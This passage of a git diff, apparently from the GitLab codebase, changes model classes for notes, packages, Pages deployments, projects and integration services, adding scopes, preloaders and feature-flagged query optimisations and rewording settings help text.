{ system_note_metadata: :description_version }, :note_diff_file, :diff_note_positions, :suggestions)
@@ -135,6 +136,7 @@ class Note < ApplicationRecord
project: [:project_members, :namespace, { group: [:group_members] }])
end
scope :with_metadata, -> { includes(:system_note_metadata) }
+ scope :with_web_entity_associations, -> { preload(:project, :author, :noteable) }
scope :for_note_or_capitalized_note, ->(text) { where(note: [text, text.capitalize]) }
scope :like_note_or_capitalized_note, ->(text) { where('(note LIKE ? OR note LIKE ?)', text, text.capitalize) }
@@ -148,6 +150,8 @@ class Note < ApplicationRecord
after_commit :notify_after_destroy, on: :destroy
class << self
+ extend Gitlab::Utils::Override
+
def model_name
ActiveModel::Name.new(self, nil, 'note')
end
@@ -204,6 +208,17 @@ class Note < ApplicationRecord
def search(query)
fuzzy_search(query, [:note])
end
+
+ # Override the `Sortable` module's `.simple_sorts` to remove name sorting,
+ # as a `Note` does not have any property that correlates to a "name".
+ override :simple_sorts
+ def simple_sorts
+ super.except('name_asc', 'name_desc')
+ end
+
+ def cherry_picked_merge_requests(shas)
+ where(noteable_type: 'MergeRequest', commit_id: shas).select(:noteable_id)
+ end
end
# rubocop: disable CodeReuse/ServiceClass
diff --git a/app/models/notification_setting.rb b/app/models/notification_setting.rb
index 72813b17501..3d049336d44 100644
--- a/app/models/notification_setting.rb
+++ b/app/models/notification_setting.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class NotificationSetting < ApplicationRecord
+ include FromUnion
+
enum level: { global: 3, watch: 2, participating: 1, mention: 4, disabled: 0, custom: 5 }
default_value_for :level, NotificationSetting.levels[:global]
@@ -30,6 +32,8 @@ class NotificationSetting < ApplicationRecord
scope :preload_source_route, -> { preload(source: [:route]) }
+ scope :order_by_id_asc, -> { order(id: :asc) }
+
# NOTE: Applicable unfound_translations.rb also needs to be updated when below events are changed.
EMAIL_EVENTS = [
:new_release,
diff --git a/app/models/packages/debian/file_entry.rb b/app/models/packages/debian/file_entry.rb
new file mode 100644
index 00000000000..eb66f4acfa9
--- /dev/null
+++ b/app/models/packages/debian/file_entry.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Packages
+ module Debian
+ class FileEntry
+ include ActiveModel::Model
+
+ DIGESTS = %i[md5 sha1 sha256].freeze
+ FILENAME_REGEX = %r{\A[a-zA-Z0-9][a-zA-Z0-9_.~+-]*\z}.freeze
+
+ attr_accessor :filename,
+ :size,
+ :md5sum,
+ :section,
+ :priority,
+ :sha1sum,
+ :sha256sum,
+ :package_file
+
+ validates :filename, :size, :md5sum, :section, :priority, :sha1sum, :sha256sum, :package_file, presence: true
+ validates :filename, format: { with: FILENAME_REGEX }
+ validate :valid_package_file_digests, if: -> { md5sum.present? && sha1sum.present? && sha256sum.present? && package_file.present? }
+
+ def component
+ return 'main' if section.blank?
+ return 'main' unless section.include?('/')
+
+ section.split('/')[0]
+ end
+
+ private
+
+ def valid_package_file_digests
+ DIGESTS.each do |digest|
+ package_file_digest = package_file["file_#{digest}"]
+ sum = public_send("#{digest}sum") # rubocop:disable GitlabSecurity/PublicSend
+ next if package_file_digest == sum
+
+ errors.add("#{digest}sum".to_sym, "mismatch for #{filename}: #{package_file_digest} != #{sum}")
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/packages/debian/file_metadatum.rb b/app/models/packages/debian/file_metadatum.rb
index 7c9f4f5f3f1..af51f256e18 100644
--- a/app/models/packages/debian/file_metadatum.rb
+++ b/app/models/packages/debian/file_metadatum.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class Packages::Debian::FileMetadatum < ApplicationRecord
+ self.primary_key = :package_file_id
+
belongs_to :package_file, inverse_of: :debian_file_metadatum
validates :package_file, presence: true
diff --git a/app/models/packages/dependency.rb b/app/models/packages/dependency.rb
index a32c3c05bb3..ad3944b5f21 100644
--- a/app/models/packages/dependency.rb
+++ b/app/models/packages/dependency.rb
@@ -7,8 +7,8 @@ class Packages::Dependency < ApplicationRecord
validates :name, uniqueness: { scope: :version_pattern }
NAME_VERSION_PATTERN_TUPLE_MATCHING = '(name, version_pattern) = (?, ?)'
- MAX_STRING_LENGTH = 255.freeze
- MAX_CHUNKED_QUERIES_COUNT = 10.freeze
+ MAX_STRING_LENGTH = 255
+ MAX_CHUNKED_QUERIES_COUNT = 10
def self.ids_for_package_names_and_version_patterns(names_and_version_patterns = {}, chunk_size = 50, max_rows_limit = 200)
names_and_version_patterns.reject! { |key, value| key.size > MAX_STRING_LENGTH || value.size > MAX_STRING_LENGTH }
diff --git a/app/models/packages/go/module_version.rb b/app/models/packages/go/module_version.rb
index a50c78f8e69..fd575e6c96c 100644
--- a/app/models/packages/go/module_version.rb
+++ b/app/models/packages/go/module_version.rb
@@ -4,6 +4,7 @@ module Packages
module Go
class ModuleVersion
include Gitlab::Utils::StrongMemoize
+ include Gitlab::Golang
VALID_TYPES = %i[ref commit pseudo].freeze
@@ -81,6 +82,9 @@ module Packages
end
def valid?
+ # assume the module version is valid if a corresponding Package exists
+ return true if ::Packages::Go::PackageFinder.new(mod.project, mod.name, name).exists?
+
@mod.path_valid?(major) && @mod.gomod_valid?(gomod)
end
diff --git a/app/models/packages/maven/metadatum.rb b/app/models/packages/maven/metadatum.rb
index 7aed274216b..471c4b3a392 100644
--- a/app/models/packages/maven/metadatum.rb
+++ b/app/models/packages/maven/metadatum.rb
@@ -19,6 +19,7 @@ class Packages::Maven::Metadatum < ApplicationRecord
validate :maven_package_type
scope :for_package_ids, -> (package_ids) { where(package_id: package_ids) }
+ scope :with_path, ->(path) { where(path: path) }
scope :order_created, -> { reorder('created_at ASC') }
def self.pluck_app_name
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index 993d1123c86..e510432be8f 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -5,6 +5,8 @@ class Packages::Package < ApplicationRecord
include UsageStatistics
include Gitlab::Utils::StrongMemoize
+ DISPLAYABLE_STATUSES = [:default, :error].freeze
+
belongs_to :project
belongs_to :creator, class_name: 'User'
@@ -29,6 +31,7 @@ class Packages::Package < ApplicationRecord
delegate :recipe, :recipe_path, to: :conan_metadatum, prefix: :conan
delegate :codename, :suite, to: :debian_distribution, prefix: :debian_distribution
+ delegate :target_sha, to: :composer_metadatum, prefix: :composer
validates :project, presence: true
validates :name, presence: true
@@ -69,7 +72,7 @@ class Packages::Package < ApplicationRecord
composer: 6, generic: 7, golang: 8, debian: 9,
rubygems: 10 }
- enum status: { default: 0, hidden: 1, processing: 2 }
+ enum status: { default: 0, hidden: 1, processing: 2, error: 3 }
scope :with_name, ->(name) { where(name: name) }
scope :with_name_like, ->(name) { where(arel_table[:name].matches(name)) }
@@ -79,7 +82,7 @@ class Packages::Package < ApplicationRecord
scope :without_version_like, -> (version) { where.not(arel_table[:version].matches(version)) }
scope :with_package_type, ->(package_type) { where(package_type: package_type) }
scope :with_status, ->(status) { where(status: status) }
- scope :displayable, -> { with_status(:default) }
+ scope :displayable, -> { with_status(DISPLAYABLE_STATUSES) }
scope :including_build_info, -> { includes(pipelines: :user) }
scope :including_project_route, -> { includes(project: { namespace: :route }) }
scope :including_tags, -> { includes(:tags) }
@@ -135,13 +138,26 @@ class Packages::Package < ApplicationRecord
after_commit :update_composer_cache, on: :destroy, if: -> { composer? }
def self.for_projects(projects)
- return none unless projects.any?
+ unless Feature.enabled?(:maven_packages_group_level_improvements, default_enabled: :yaml)
+ return none unless projects.any?
+ end
where(project_id: projects)
end
- def self.only_maven_packages_with_path(path)
- joins(:maven_metadatum).where(packages_maven_metadata: { path: path })
+ def self.only_maven_packages_with_path(path, use_cte: false)
+ if use_cte && Feature.enabled?(:maven_metadata_by_path_with_optimization_fence, default_enabled: :yaml)
+ # This is an optimization fence which assumes that looking up the Metadatum record by path (globally)
+ # and then filter down the packages (by project or by group and subgroups) will be cheaper than
+ # looking up all packages within a project or group and filter them by path.
+
+ inner_query = Packages::Maven::Metadatum.where(path: path).select(:id, :package_id)
+ cte = Gitlab::SQL::CTE.new(:maven_metadata_by_path, inner_query)
+ with(cte.to_arel)
+ .joins('INNER JOIN maven_metadata_by_path ON maven_metadata_by_path.package_id=packages_packages.id')
+ else
+ joins(:maven_metadatum).where(packages_maven_metadata: { path: path })
+ end
end
def self.by_name_and_file_name(name, file_name)
diff --git a/app/models/packages/tag.rb b/app/models/packages/tag.rb
index 771d016daed..14a1ae98ed4 100644
--- a/app/models/packages/tag.rb
+++ b/app/models/packages/tag.rb
@@ -4,7 +4,7 @@ class Packages::Tag < ApplicationRecord
validates :package, :name, presence: true
- FOR_PACKAGES_TAGS_LIMIT = 200.freeze
+ FOR_PACKAGES_TAGS_LIMIT = 200
NUGET_TAGS_SEPARATOR = ' ' # https://docs.microsoft.com/en-us/nuget/reference/nuspec#tags
scope :preload_package, -> { preload(:package) }
diff --git a/app/models/pages/lookup_path.rb b/app/models/pages/lookup_path.rb
index 33771580be2..3285a1f7f4c 100644
--- a/app/models/pages/lookup_path.rb
+++ b/app/models/pages/lookup_path.rb
@@ -50,9 +50,7 @@ module Pages
def zip_source
return unless deployment&.file
- return if deployment.file.file_storage? && !Feature.enabled?(:pages_serve_with_zip_file_protocol, project, default_enabled: true)
-
- return if deployment.migrated? && !Feature.enabled?(:pages_serve_from_migrated_zip, project, default_enabled: true)
+ return if deployment.file.file_storage? && !Feature.enabled?(:pages_serve_with_zip_file_protocol, project, default_enabled: :yaml)
global_id = ::Gitlab::GlobalId.build(deployment, id: deployment.id).to_s
@@ -74,7 +72,7 @@ module Pages
path: File.join(project.full_path, 'public/')
}
rescue LegacyStorageDisabledError => e
- Gitlab::ErrorTracking.track_exception(e)
+ Gitlab::ErrorTracking.track_exception(e, project_id: project.id)
nil
end
diff --git a/app/models/pages_deployment.rb b/app/models/pages_deployment.rb
index d67a92af6af..294a4e85d1f 100644
--- a/app/models/pages_deployment.rb
+++ b/app/models/pages_deployment.rb
@@ -14,6 +14,8 @@ class PagesDeployment < ApplicationRecord
scope :older_than, -> (id) { where('id < ?', id) }
scope :migrated_from_legacy_storage, -> { where(file: MIGRATED_FILE_NAME) }
+ scope :with_files_stored_locally, -> { where(file_store: ::ObjectStorage::Store::LOCAL) }
+ scope :with_files_stored_remotely, -> { where(file_store: ::ObjectStorage::Store::REMOTE) }
validates :file, presence: true
validates :file_store, presence: true, inclusion: { in: ObjectStorage::SUPPORTED_STORES }
diff --git a/app/models/preloaders/labels_preloader.rb b/app/models/preloaders/labels_preloader.rb
new file mode 100644
index 00000000000..427f2869aac
--- /dev/null
+++ b/app/models/preloaders/labels_preloader.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Preloaders
+ # This class preloads the `project`, `group`, and subscription associations for the given
+ # labels, user, and project (if provided). A Label can be of type ProjectLabel or GroupLabel
+ # and the preloader supports both.
+ #
+ # Usage:
+ # labels = Label.where(...)
+ # Preloaders::LabelsPreloader.new(labels, current_user, @project).preload_all
+ # labels.first.project # won't fire any query
+ class LabelsPreloader
+ attr_reader :labels, :user, :project
+
+ def initialize(labels, user, project = nil)
+ @labels = labels
+ @user = user
+ @project = project
+ end
+
+ def preload_all
+ preloader = ActiveRecord::Associations::Preloader.new
+
+ preloader.preload(labels.select {|l| l.is_a? ProjectLabel }, { project: [:project_feature, namespace: :route] })
+ preloader.preload(labels.select {|l| l.is_a? GroupLabel }, { group: :route })
+ labels.each do |label|
+ label.lazy_subscription(user)
+ label.lazy_subscription(user, project) if project.present?
+ end
+ end
+ end
+end
+
+Preloaders::LabelsPreloader.prepend_if_ee('EE::Preloaders::LabelsPreloader')
diff --git a/app/models/preloaders/user_max_access_level_in_projects_preloader.rb b/app/models/preloaders/user_max_access_level_in_projects_preloader.rb
new file mode 100644
index 00000000000..671091480ee
--- /dev/null
+++ b/app/models/preloaders/user_max_access_level_in_projects_preloader.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Preloaders
+ # This class preloads the max access level for the user within the given projects and
+ # stores the values in requests store via the ProjectTeam class.
+ class UserMaxAccessLevelInProjectsPreloader
+ def initialize(projects, user)
+ @projects = projects
+ @user = user
+ end
+
+ def execute
+ access_levels = @user
+ .project_authorizations
+ .where(project_id: @projects)
+ .group(:project_id)
+ .maximum(:access_level)
+
+ @projects.each do |project|
+ access_level = access_levels[project.id] || Gitlab::Access::NO_ACCESS
+ ProjectTeam.new(project).write_member_access_for_user_id(@user.id, access_level)
+ end
+ end
+ end
+end
diff --git a/app/models/project.rb b/app/models/project.rb
index c52eb95bde8..f03e5293b58 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -36,6 +36,8 @@ class Project < ApplicationRecord
include Integration
include Repositories::CanHousekeepRepository
include EachBatch
+ include GitlabRoutingHelper
+
extend Gitlab::Cache::RequestCache
extend Gitlab::Utils::Override
@@ -219,7 +221,7 @@ class Project < ApplicationRecord
has_one :alerting_setting, inverse_of: :project, class_name: 'Alerting::ProjectAlertingSetting'
has_one :service_desk_setting, class_name: 'ServiceDeskSetting'
- # Merge Requests for target project should be removed with it
+ # Merge requests for target project should be removed with it
has_many :merge_requests, foreign_key: 'target_project_id', inverse_of: :target_project
has_many :merge_request_metrics, foreign_key: 'target_project', class_name: 'MergeRequest::Metrics', inverse_of: :target_project
has_many :source_of_merge_requests, foreign_key: 'source_project_id', class_name: 'MergeRequest'
@@ -517,7 +519,7 @@ class Project < ApplicationRecord
scope :with_packages, -> { joins(:packages) }
scope :in_namespace, ->(namespace_ids) { where(namespace_id: namespace_ids) }
scope :personal, ->(user) { where(namespace_id: user.namespace_id) }
- scope :joined, ->(user) { where('namespace_id != ?', user.namespace_id) }
+ scope :joined, ->(user) { where.not(namespace_id: user.namespace_id) }
scope :starred_by, ->(user) { joins(:users_star_projects).where('users_star_projects.user_id': user.id) }
scope :visible_to_user, ->(user) { where(id: user.authorized_projects.select(:id).reorder(nil)) }
scope :visible_to_user_and_access_level, ->(user, access_level) { where(id: user.authorized_projects.where('project_authorizations.access_level >= ?', access_level).select(:id).reorder(nil)) }
@@ -577,7 +579,7 @@ class Project < ApplicationRecord
with_issues_available_for_user(user).or(with_merge_requests_available_for_user(user))
end
scope :with_merge_requests_enabled, -> { with_feature_enabled(:merge_requests) }
- scope :with_remote_mirrors, -> { joins(:remote_mirrors).where(remote_mirrors: { enabled: true }).distinct }
+ scope :with_remote_mirrors, -> { joins(:remote_mirrors).where(remote_mirrors: { enabled: true }) }
scope :with_limit, -> (maximum) { limit(maximum) }
scope :with_group_runners_enabled, -> do
@@ -621,7 +623,7 @@ class Project < ApplicationRecord
end
def self.with_web_entity_associations
- preload(:project_feature, :route, :creator, :group, namespace: [:route, :owner])
+ preload(:project_feature, :route, :creator, group: :parent, namespace: [:route, :owner])
end
def self.eager_load_namespace_and_owner
@@ -1368,15 +1370,15 @@ class Project < ApplicationRecord
end
def disabled_services
- return %w(datadog) unless Feature.enabled?(:datadog_ci_integration, self)
+ return %w[datadog hipchat] unless Feature.enabled?(:datadog_ci_integration, self)
- []
+ %w[hipchat]
end
def find_or_initialize_service(name)
return if disabled_services.include?(name)
- find_service(services, name) || build_from_instance_or_template(name) || public_send("build_#{name}_service") # rubocop:disable GitlabSecurity/PublicSend
+ find_service(services, name) || build_from_instance_or_template(name) || build_service(name)
end
# rubocop: disable CodeReuse/ServiceClass
@@ -1713,10 +1715,15 @@ class Project < ApplicationRecord
end
end
+ # Deprecated: https://gitlab.com/gitlab-org/gitlab/-/issues/326989
def any_active_runners?(&block)
active_runners_with_tags.any?(&block)
end
+ def any_online_runners?(&block)
+ online_runners_with_tags.any?(&block)
+ end
+
def valid_runners_token?(token)
self.runners_token && ActiveSupport::SecurityUtils.secure_compare(token, self.runners_token)
end
@@ -1812,7 +1819,7 @@ class Project < ApplicationRecord
# TODO: remove this method https://gitlab.com/gitlab-org/gitlab/-/issues/320775
# rubocop: disable CodeReuse/ServiceClass
def legacy_remove_pages
- return unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ return unless ::Settings.pages.local_store.enabled
# Projects with a missing namespace cannot have their pages removed
return unless namespace
@@ -1848,7 +1855,7 @@ class Project < ApplicationRecord
# where().update_all to perform update in the single transaction with check for null
ProjectPagesMetadatum
.where(project_id: id, pages_deployment_id: nil)
- .update_all(pages_deployment_id: deployment.id)
+ .update_all(deployed: deployment.present?, pages_deployment_id: deployment&.id)
end
def write_repository_config(gl_full_path: full_path)
@@ -2145,8 +2152,8 @@ class Project < ApplicationRecord
data = repository.route_map_for(sha)
Gitlab::RouteMap.new(data) if data
- rescue Gitlab::RouteMap::FormatError
- nil
+ rescue Gitlab::RouteMap::FormatError
+ nil
end
end
@@ -2165,17 +2172,18 @@ class Project < ApplicationRecord
end
def default_merge_request_target
- return self unless forked_from_project
- return self unless forked_from_project.merge_requests_enabled?
-
- # When our current visibility is more restrictive than the source project,
- # (e.g., the fork is `private` but the parent is `public`), target the less
- # permissive project
- if visibility_level_value < forked_from_project.visibility_level_value
- self
- else
- forked_from_project
- end
+ return self if project_setting.mr_default_target_self
+ return self unless mr_can_target_upstream?
+
+ forked_from_project
+ end
+
+ def mr_can_target_upstream?
+ # When our current visibility is more restrictive than the upstream project,
+ # (e.g., the fork is `private` but the parent is `public`), don't allow target upstream
+ forked_from_project &&
+ forked_from_project.merge_requests_enabled? &&
+ forked_from_project.visibility_level_value <= visibility_level_value
end
def multiple_issue_boards_available?
@@ -2322,6 +2330,11 @@ class Project < ApplicationRecord
.external_authorization_service_default_label
end
+ # Overridden in EE::Project
+ def licensed_feature_available?(_feature)
+ false
+ end
+
def licensed_features
[]
end
@@ -2584,6 +2597,10 @@ class Project < ApplicationRecord
return Service.build_from_integration(template, project_id: id) if template
end
+ def build_service(name)
+ "#{name}_service".classify.constantize.new(project_id: id)
+ end
+
def services_templates
@services_templates ||= Service.for_template
end
@@ -2734,9 +2751,11 @@ class Project < ApplicationRecord
end
def active_runners_with_tags
- strong_memoize(:active_runners_with_tags) do
- active_runners.with_tags
- end
+ @active_runners_with_tags ||= active_runners.with_tags
+ end
+
+ def online_runners_with_tags
+ @online_runners_with_tags ||= active_runners_with_tags.online
end
end
diff --git a/app/models/project_feature.rb b/app/models/project_feature.rb
index a598bf3f60c..15f6bedfc2e 100644
--- a/app/models/project_feature.rb
+++ b/app/models/project_feature.rb
@@ -3,6 +3,7 @@
class ProjectFeature < ApplicationRecord
include Featurable
+ # When updating this array, make sure to update rubocop/cop/gitlab/feature_available_usage.rb as well.
FEATURES = %i[
issues
forking
@@ -19,7 +20,7 @@ class ProjectFeature < ApplicationRecord
container_registry
].freeze
- EXPORTABLE_FEATURES = (FEATURES - [:security_and_compliance]).freeze
+ EXPORTABLE_FEATURES = (FEATURES - [:security_and_compliance, :pages]).freeze
set_available_features(FEATURES)
diff --git a/app/models/project_feature_usage.rb b/app/models/project_feature_usage.rb
index 4f445758653..02051310af7 100644
--- a/app/models/project_feature_usage.rb
+++ b/app/models/project_feature_usage.rb
@@ -20,12 +20,29 @@ class ProjectFeatureUsage < ApplicationRecord
end
def log_jira_dvcs_integration_usage(cloud: true)
- transaction(requires_new: true) do
- save unless persisted?
- touch(self.class.jira_dvcs_integration_field(cloud: cloud))
- end
+ integration_field = self.class.jira_dvcs_integration_field(cloud: cloud)
+
+ # The feature usage is used only once later to query the feature usage in a
+ # long date range. Therefore, we just need to update the timestamp once per
+ # day
+ return if persisted? && updated_today?(integration_field)
+
+ persist_jira_dvcs_usage(integration_field)
+ end
+
+ private
+
+ def updated_today?(integration_field)
+ self[integration_field].present? && self[integration_field].today?
+ end
+
+ def persist_jira_dvcs_usage(integration_field)
+ assign_attributes(integration_field => Time.current)
+ save
rescue ActiveRecord::RecordNotUnique
reset
retry
end
end
+
+ProjectFeatureUsage.prepend_if_ee('EE::ProjectFeatureUsage')
diff --git a/app/models/project_services/asana_service.rb b/app/models/project_services/asana_service.rb
index c4fcdcc05c5..f31bf931a41 100644
--- a/app/models/project_services/asana_service.rb
+++ b/app/models/project_services/asana_service.rb
@@ -3,6 +3,8 @@
require 'asana'
class AsanaService < Service
+ include ActionView::Helpers::UrlHelper
+
prop_accessor :api_key, :restrict_to_branch
validates :api_key, presence: true, if: :activated?
@@ -11,20 +13,12 @@ class AsanaService < Service
end
def description
- s_('AsanaService|Asana - Teamwork without email')
+ s_('AsanaService|Add commit messages as comments to Asana tasks')
end
def help
- 'This service adds commit messages as comments to Asana tasks.
-Once enabled, commit messages are checked for Asana task URLs
-(for example, `https://app.asana.com/0/123456/987654`) or task IDs
-starting with # (for example, `#987654`). Every task ID found will
-get the commit comment added to it.
-
-You can also close a task with a message containing: `fix #123456`.
-
-You can create a Personal Access Token here:
-https://app.asana.com/0/developer-console'
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/asana'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Add commit messages as comments to Asana tasks. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def self.to_param
@@ -36,13 +30,17 @@ https://app.asana.com/0/developer-console'
{
type: 'text',
name: 'api_key',
- placeholder: s_('AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user.'),
+ title: 'API key',
+ help: s_('AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user.'),
+ # Example Personal Access Token from Asana docs
+ placeholder: '0/68a9e79b868c6789e79a124c30b0',
required: true
},
{
type: 'text',
name: 'restrict_to_branch',
- placeholder: s_('AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches.')
+ title: 'Restrict to branch (optional)',
+ help: s_('AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches.')
}
]
end
diff --git a/app/models/project_services/assembla_service.rb b/app/models/project_services/assembla_service.rb
index 60575e45a90..8845fb99605 100644
--- a/app/models/project_services/assembla_service.rb
+++ b/app/models/project_services/assembla_service.rb
@@ -9,7 +9,7 @@ class AssemblaService < Service
end
def description
- 'Project Management Software (Source Commits Endpoint)'
+ _('Manage projects.')
end
def self.to_param
diff --git a/app/models/project_services/bamboo_service.rb b/app/models/project_services/bamboo_service.rb
index 8c1f4fef09b..a892d1a4314 100644
--- a/app/models/project_services/bamboo_service.rb
+++ b/app/models/project_services/bamboo_service.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
class BambooService < CiService
+ include ActionView::Helpers::UrlHelper
include ReactiveService
prop_accessor :bamboo_url, :build_key, :username, :password
@@ -31,15 +32,16 @@ class BambooService < CiService
end
def title
- s_('BambooService|Atlassian Bamboo CI')
+ s_('BambooService|Atlassian Bamboo')
end
def description
- s_('BambooService|A continuous integration and build server')
+ s_('BambooService|Use the Atlassian Bamboo CI/CD server with GitLab.')
end
def help
- s_('BambooService|You must set up automatic revision labeling and a repository trigger in Bamboo.')
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/bamboo'), target: '_blank', rel: 'noopener noreferrer'
+ s_('BambooService|Use Atlassian Bamboo to run CI/CD pipelines. You must set up automatic revision labeling and a repository trigger in Bamboo. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def self.to_param
@@ -48,13 +50,32 @@ class BambooService < CiService
def fields
[
- { type: 'text', name: 'bamboo_url',
- placeholder: s_('BambooService|Bamboo root URL like https://bamboo.example.com'), required: true },
- { type: 'text', name: 'build_key',
- placeholder: s_('BambooService|Bamboo build plan key like KEY'), required: true },
- { type: 'text', name: 'username',
- placeholder: s_('BambooService|A user with API access, if applicable') },
- { type: 'password', name: 'password' }
+ {
+ type: 'text',
+ name: 'bamboo_url',
+ title: s_('BambooService|Bamboo URL'),
+ placeholder: s_('https://bamboo.example.com'),
+ help: s_('BambooService|Bamboo service root URL.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'build_key',
+ placeholder: s_('KEY'),
+ help: s_('BambooService|Bamboo build plan key.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'username',
+ help: s_('BambooService|The user with API access to the Bamboo server.')
+ },
+ {
+ type: 'password',
+ name: 'password',
+ non_empty_password_title: s_('ProjectService|Enter new password'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current password')
+ }
]
end
diff --git a/app/models/project_services/chat_message/merge_message.rb b/app/models/project_services/chat_message/merge_message.rb
index b9916a54d75..e45bb9b8ce1 100644
--- a/app/models/project_services/chat_message/merge_message.rb
+++ b/app/models/project_services/chat_message/merge_message.rb
@@ -28,7 +28,7 @@ module ChatMessage
def activity
{
- title: "Merge Request #{state_or_action_text} by #{user_combined_name}",
+ title: "Merge request #{state_or_action_text} by #{user_combined_name}",
subtitle: "in #{project_link}",
text: merge_request_link,
image: user_avatar
diff --git a/app/models/project_services/chat_notification_service.rb b/app/models/project_services/chat_notification_service.rb
index cf7cad09676..4a99842b4d5 100644
--- a/app/models/project_services/chat_notification_service.rb
+++ b/app/models/project_services/chat_notification_service.rb
@@ -61,11 +61,11 @@ class ChatNotificationService < Service
def default_fields
[
- { type: 'text', name: 'webhook', placeholder: "e.g. #{webhook_placeholder}", required: true }.freeze,
- { type: 'text', name: 'username', placeholder: 'e.g. GitLab' }.freeze,
- { type: 'checkbox', name: 'notify_only_broken_pipelines' }.freeze,
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze,
+ { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze,
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
{ type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze,
- { type: 'text', name: 'labels_to_be_notified', placeholder: 'e.g. ~backend', help: 'Only supported for issue, merge request and note events.' }.freeze
+ { type: 'text', name: 'labels_to_be_notified', placeholder: '~backend,~frontend', help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.' }.freeze
].freeze
end
diff --git a/app/models/project_services/ci_service.rb b/app/models/project_services/ci_service.rb
index 47106d7bdbb..29edb9ec16f 100644
--- a/app/models/project_services/ci_service.rb
+++ b/app/models/project_services/ci_service.rb
@@ -2,7 +2,7 @@
# Base class for CI services
# List methods you need to implement to get your CI service
-# working with GitLab Merge Requests
+# working with GitLab merge requests
class CiService < Service
default_value_for :category, 'ci'
diff --git a/app/models/project_services/custom_issue_tracker_service.rb b/app/models/project_services/custom_issue_tracker_service.rb
index fc58ba27c3d..aab8661ec55 100644
--- a/app/models/project_services/custom_issue_tracker_service.rb
+++ b/app/models/project_services/custom_issue_tracker_service.rb
@@ -17,9 +17,9 @@ class CustomIssueTrackerService < IssueTrackerService
def fields
[
- { type: 'text', name: 'project_url', placeholder: 'Project url', required: true },
- { type: 'text', name: 'issues_url', placeholder: 'Issue url', required: true },
- { type: 'text', name: 'new_issue_url', placeholder: 'New Issue url', required: true }
+ { type: 'text', name: 'project_url', title: _('Project URL'), required: true },
+ { type: 'text', name: 'issues_url', title: s_('ProjectService|Issue URL'), required: true },
+ { type: 'text', name: 'new_issue_url', title: s_('ProjectService|New issue URL'), required: true }
]
end
end
diff --git a/app/models/project_services/datadog_service.rb b/app/models/project_services/datadog_service.rb
index a48dea71645..9a2d99c46c9 100644
--- a/app/models/project_services/datadog_service.rb
+++ b/app/models/project_services/datadog_service.rb
@@ -78,7 +78,9 @@ class DatadogService < Service
{
type: 'password',
name: 'api_key',
- title: 'API key',
+ title: _('API key'),
+ non_empty_password_title: s_('ProjectService|Enter new API key'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current API key'),
help: "<a href=\"#{api_keys_url}\" target=\"_blank\">API key</a> used for authentication with Datadog",
required: true
},
diff --git a/app/models/project_services/discord_service.rb b/app/models/project_services/discord_service.rb
index 37bbb9b8752..d7adf63fde4 100644
--- a/app/models/project_services/discord_service.rb
+++ b/app/models/project_services/discord_service.rb
@@ -3,6 +3,8 @@
require "discordrb/webhooks"
class DiscordService < ChatNotificationService
+ include ActionView::Helpers::UrlHelper
+
ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze
def title
@@ -10,7 +12,7 @@ class DiscordService < ChatNotificationService
end
def description
- s_("DiscordService|Receive event notifications in Discord")
+ s_("DiscordService|Send notifications about project events to a Discord channel.")
end
def self.to_param
@@ -18,13 +20,8 @@ class DiscordService < ChatNotificationService
end
def help
- "This service sends notifications about project events to Discord channels.<br />
- To set up this service:
- <ol>
- <li><a href='https://support.discordapp.com/hc/en-us/articles/228383668-Intro-to-Webhooks'>Setup a custom Incoming Webhook</a>.</li>
- <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
- <li>Select events below to enable notifications.</li>
- </ol>"
+ docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
end
def event_field(event)
@@ -36,13 +33,12 @@ class DiscordService < ChatNotificationService
end
def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
+ %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page]
end
def default_fields
[
- { type: "text", name: "webhook", placeholder: "e.g. https://discordapp.com/api/webhooks/…" },
+ { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." },
{ type: "checkbox", name: "notify_only_broken_pipelines" },
{ type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
]
diff --git a/app/models/project_services/drone_ci_service.rb b/app/models/project_services/drone_ci_service.rb
index 5a49f780d46..ab1ba768a8f 100644
--- a/app/models/project_services/drone_ci_service.rb
+++ b/app/models/project_services/drone_ci_service.rb
